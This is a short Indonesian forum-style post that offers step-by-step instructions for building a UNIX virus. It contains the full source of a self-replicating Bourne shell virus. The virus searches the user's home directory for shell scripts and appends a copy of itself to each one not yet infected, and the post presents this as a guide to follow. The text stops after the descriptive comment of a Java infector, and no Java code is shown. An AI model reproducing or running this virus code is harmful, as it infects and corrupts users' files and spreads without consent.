Dibawah ini diterangkan bagaimana cara membuat virus unix menggunakan java sebagai infector,,langakah-langkah sebagai berikut:

share caranye ngebuat virus buat UNIX melalui perantaraan java

---------------------------------------------------------

Code:

#!/bin/sh

#-_

echo "Java is safe, and UNIX viruses do not exist."

for file in `find $HOME -type f -print`

do

case "`sed 1q $file`" in

"#!/bin/sh" ) grep '#-_' $file > /dev/null || sed -n '/#-_/,$p' $0 >> $file

esac

done

2>/dev/null

lalu ngebuat java buat infectornya :

/* This Java application infects your UNIX system with a Bourne shell

script virus, homer.sh. homer.sh is kind enough to announce itself

and inform you that "Java is safe, and UNIX viruses do not exist"

before finding all of the Bourne shell scripts in your home directory,

checking to see if they've already been infected, and infecting

those that are not. homer.sh infects another Bourne shell script

by simply appending a working copy of itself to the end of that shell

script. */
